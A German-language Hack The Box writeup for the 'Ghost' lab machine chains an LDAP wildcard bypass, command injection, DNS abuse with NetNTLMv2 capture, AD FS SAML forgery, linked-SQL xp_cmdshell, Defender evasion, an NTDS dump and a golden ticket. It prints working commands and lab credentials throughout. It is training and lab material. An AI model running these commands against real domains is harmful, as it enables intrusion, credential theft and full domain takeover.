← Zurück zu Machines

HTB · published

Ghost

Hack The Box CPTS-Track Writeup für Ghost: LDAP-Login-Bypass, Gitea Source Disclosure, Container RCE, AD DNS Abuse, NetNTLMv2 Capture, gMSA, AD FS SAML Forgery, linked SQL, IFM Dump und Golden Ticket Forest Escalation.

HTBCPTSWriteupActive DirectoryAD FSgMSAMSSQLGolden TicketDockerKerberosMachineWindows

Metadaten


  • Name: Ghost
  • IP Address: 10.129.231.105
  • Plattform: Windows
  • Kategorie: Active Directory / Web / AD FS / MSSQL / Child Domain / Kerberos
  • Schwierigkeit: Insane
  • Ziel(e): User, Forest/Domain Admin
  • Kurzbeschreibung des Szenarios: Ghost ist ein Windows Server 2022 Domain Controller für ghost.htb mit mehreren Webanwendungen, AD FS, MSSQL und einem vertrauenswürdigen Child-Domain-Setup corp.ghost.htb. Der Angriff verkettet Web-Auth-Bypass, Source Disclosure, Container-RCE, AD DNS Abuse, NetNTLMv2 Capture, gMSA-Leserechte, AD-FS-SAML-Forgery, linked SQL Impersonation, fileless Local PrivEsc, Offline-NTDS-Dump und Golden Ticket mit Extra-SID.

Reconnaissance/ Enumeration

initscan:

nmap -p- -Pn -oA scans/tcp_full 10.129.231.105
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
8008/tcp  open  http
8443/tcp  open  https-alt
9389/tcp  open  adws

servicescan:

nmap -sC -sV -O -Pn -p <ports> -oA scans/tcp_services 10.129.231.105

LDAP RootDSE bestätigte:

Domain: ghost.htb
Domain Controller: DC01.ghost.htb

Host-Header- und Web-Enumeration ergaben mehrere Anwendungen:

ghost.htb:8008             Ghost CMS 5.78
intranet.ghost.htb:8008    Ghost Intranet Next.js
gitea.ghost.htb:8008       Gitea 1.21.3
core.ghost.htb:8443        Ghost Core Express
federation.ghost.htb       AD FS

AD FS-Metadaten und SAML-Flow waren öffentlich einsehbar. Der Core-Callback war:

https://core.ghost.htb:8443/adfs/saml/postResponse

Exploitation (Foothold)

Intranet LDAP Wildcard Bypass

Das Intranet-Login verwendete LDAP-Eingaben unsicher. Wildcards wurden nicht escaped. Mit * in beiden Feldern wurde der erste passende LDAP-User authentifiziert:

ldap-username=*
ldap-secret=*

Das erzeugte eine gültige Intranet-Session für kathryn.holland.

Die Intranet-News verrieten:

  • Gitea-Migration zu Bitbucket
  • Temporärer Account gitea_temp_principal
  • Token liegt in LDAP
  • Token besteht aus 5 bis 20 alphanumerischen Zeichen

Da Prefix-Wildcards ebenfalls funktionierten, konnte ein Oracle-Script den Token Zeichen für Zeichen extrahieren:

python3 shells/extract_intranet_token.py
gitea_temp_principal : szrr8kpc3z6onlqf

Gitea Source Disclosure zu Container RCE

Mit dem temporären Principal wurden private Repositories geklont:

ghost-dev/blog
ghost-dev/intranet

Im Blog-Code lag ein File-Read über einen extra-Parameter, der in einen Pfad konkateniert wurde. Traversal zu /proc/self/environ gab einen Dev-Key preis:

DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe

Das Intranet-Repo zeigte einen Dev-Endpunkt:

/api-dev/scan
Header: X-DEV-INTRANET-KEY

Der Handler baute eine Shell-Zeile unsicher:

Command::new("Bash")
    .arg("-c")
    .arg(format!("intranet_url_check {}", data.url))

Command Injection:

python3 shells/intranet_rce.py 'id'
uid=0(root) gid=0(root)

Die RCE lief als root im Intranet-Container. Die Container-Umgebung enthielt AD-Bind-Credentials:

LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j

Lateral Movement / User Escalation

Workstation Pivot über SSH ControlMaster

Im Container lief ein aktiver SSH-ControlMaster-Prozess:

florence.ramirez@ghost.htb@dev-workstation:22

Der Socket konnte wiederverwendet werden:

ssh -l 'florence.ramirez@ghost.htb' dev-workstation

Damit wurde Zugriff auf LINUX-DEV-WS01 als florence.ramirez erreicht. Aus /tmp/krb5cc_50 wurde ihr Kerberos-TGT exportiert.

AD DNS Abuse zu NetNTLMv2 Capture

Florence hatte CREATE_CHILD auf der AD-DNS-Zone ghost.htb. Mit ihrem TGT wurde ein DNS-Record gesetzt:

bloodyAD --host dc01.ghost.htb -d ghost.htb -u florence.ramirez -k \
  add dnsRecord bitbucket 10.10.15.109 --ttl 60

Damit zeigte bitbucket.ghost.htb auf die eigene VPN-IP. Ein geplanter Bitbucket-Pipeline-Check von Justin Bradley kontaktierte diesen Host. Responder fing einen HTTP-NetNTLMv2-Hash ab.

Crack:

hashcat -m 5600 loot/justin_bradley_netntlmv2.txt /usr/share/wordlists/rockyou.txt
justin.bradley : Qwertyuiop1234$$

WinRM als Justin:

evil-winrm -i dc01.ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$'

User Flag:

type C:\Users\justin.bradley\Desktop\user.txt
ec12d[REDACTED-USER-FLAG]7053

Privilege Escalation (Root / Domain)

gMSA zu AD FS Signing Key

BloodHound zeigte, dass Justin das Managed Password von adfs_gmsa$ lesen kann. Über msDS-ManagedPassword wurde der NT-Hash abgeleitet:

adfs_gmsa$ : 16b9766667b1e9f8d4c315a11707c497

Pass-the-Hash WinRM als gMSA:

evil-winrm -i dc01.ghost.htb -u 'adfs_gmsa$' -H 16b9766667b1e9f8d4c315a11707c497

Auf DC01 wurde Mandiant ADFSDump ausgeführt, um DKM-Keymaterial und das verschlüsselte AD-FS-Signing-Zertifikat zu extrahieren. Danach wurde mit ADFSpoof ein signierter SAML-Response für Administrator erzeugt.

Ziel:

https://core.ghost.htb:8443

POST an:

/adfs/saml/postResponse

Das Ghost-Core-Panel akzeptierte die gefälschte Assertion.

Linked SQL zu PRIMARY

Im Ghost-Core-Panel gab es einen SQL-Debugger. Der lokale SQL-Login web_client hatte Zugriff auf den Linked Server PRIMARY, der auf den Child-Domain-Controller PRIMARY.corp.ghost.htb zeigte.

Der linked Login bridge_corp durfte sa impersonieren:

EXEC (
  'EXECUTE AS LOGIN=''sa'';
   EXEC xp_cmdshell ''whoami /all'';
   REVERT'
) AT [PRIMARY]

xp_cmdshell lief als:

NT SERVICE\MSSQLSERVER
PRIMARY
SeImpersonatePrivilege: Enabled

Defender entfernte klassische Potato-Executables. Daher wurde EfsPotato.cs fileless über PowerShell Add-Type kompiliert und per Reflection ausgeführt.

Ergebnis:

nt authority\system
PRIMARY

Child Domain IFM Dump

Als SYSTEM auf PRIMARY wurde ein IFM-Snapshot erstellt:

ntdsutil "activate instance ntds" "ifm" "create full C:\ProgramData\corp_ifm" quit quit

Da SMB-Outbound blockiert war, wurde das Archiv per HTTP hochgeladen. Offline-Dump:

secretsdump.py -ntds 'loot/corp_ifm/Active Directory/ntds.dit' \
  -system loot/corp_ifm/registry/SYSTEM LOCAL

Wichtige Werte:

corp.ghost.htb SID:
S-1-5-21-2034262909-2733679486-179904498

krbtgt NT hash:
69eb46aa347a8c68edb99be2725403ab

krbtgt AES-256:
b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d

Golden Ticket mit Extra-SID

Da corp.ghost.htb eine Child-Domain im selben Forest ist, wurde ein Child-Domain-Administrator-Golden-Ticket mit Forest-Root Enterprise-Admin-SID als Extra-SID erzeugt:

Root Enterprise Admin SID:
S-1-5-21-4084500788-938703357-3654145966-519

RC4 schlug mit KDC_ERR_TGT_REVOKED fehl. Mit AES-256 funktionierte das Ticket:

ticketer.py \
  -aesKey b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d \
  -domain-sid S-1-5-21-2034262909-2733679486-179904498 \
  -domain corp.ghost.htb \
  -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
  Administrator

Kerberos-authentifizierte WMI-Ausführung gegen DC01 lieferte die Root-Flag:

KRB5CCNAME=loot/tickets/Administrator.ccache wmiexec.py -k -no-pass \
  dc01.ghost.htb 'type C:\Users\Administrator\Desktop\root.txt'
40f1a[REDACTED-ROOT-FLAG]2101

Post-Exploitation

  • User Flag: ec12d[REDACTED-USER-FLAG]7053
  • Root Flag: 40f1a[REDACTED-ROOT-FLAG]2101
  • Wichtige Accounts: gitea_temp_principal, intranet_principal, florence.ramirez, justin.bradley, adfs_gmsa$, Administrator
  • Wichtige Systeme: DC01.ghost.htb, LINUX-DEV-WS01, PRIMARY.corp.ghost.htb
  • Wichtige Artefakte: Gitea-Repos, AD FS DKM/Signing PFX, NetNTLMv2 Hash, IFM Snapshot, Child krbtgt AES-Key
  • Wichtige Technik: LDAP Wildcard Bypass, Token Oracle, Container RCE, AD DNS Abuse, gMSA Read, AD FS SAML Forgery, linked SQL, fileless EfsPotato, Golden Ticket Extra-SID
  • Cleanup: Temporäre DNS-Records, Listener, Relays und HTTP/SMB-Transferprozesse stoppen.

Lessons Learned

  • LDAP-Filter escapen: Wildcards in Login-Filtern können Authentication Bypass und Token-Oracles erzeugen.
  • Dev-Endpunkte sind produktive Angriffsfläche: Temporäre Gitea-Accounts und /api-dev/* waren der Einstieg in die komplette Kette.
  • AD DNS ist mächtig: Schreibrechte in DNS-Zonen können geplante Jobs zu Credential-Capture zwingen.
  • gMSA-Leserechte sind kritisch: Wer msDS-ManagedPassword lesen darf, besitzt praktisch den Service-Account.
  • AD FS Signing Keys sind Identity-Kronjuwelen: Damit lassen sich vertrauenswürdige SAML-Assertions erzeugen.
  • Child-Domains sind Forest-Risiko: Ein Child-krbtgt plus Extra-SID kann bei passenden Trust-Bedingungen bis zur Forest-Root eskalieren.

Notizen

  • Ghost ist weniger eine einzelne Schwachstelle als eine Kette aus Trust Boundaries.
  • Der User-Pfad endet bei Justin, aber der Root-Pfad beginnt eigentlich erst dort mit gMSA und AD FS.
  • AES-Signing war beim Golden Ticket entscheidend; RC4 wurde vom KDC abgelehnt.
  • Fileless EfsPotato war notwendig, weil ausführbare Payloads durch Defender entfernt wurden.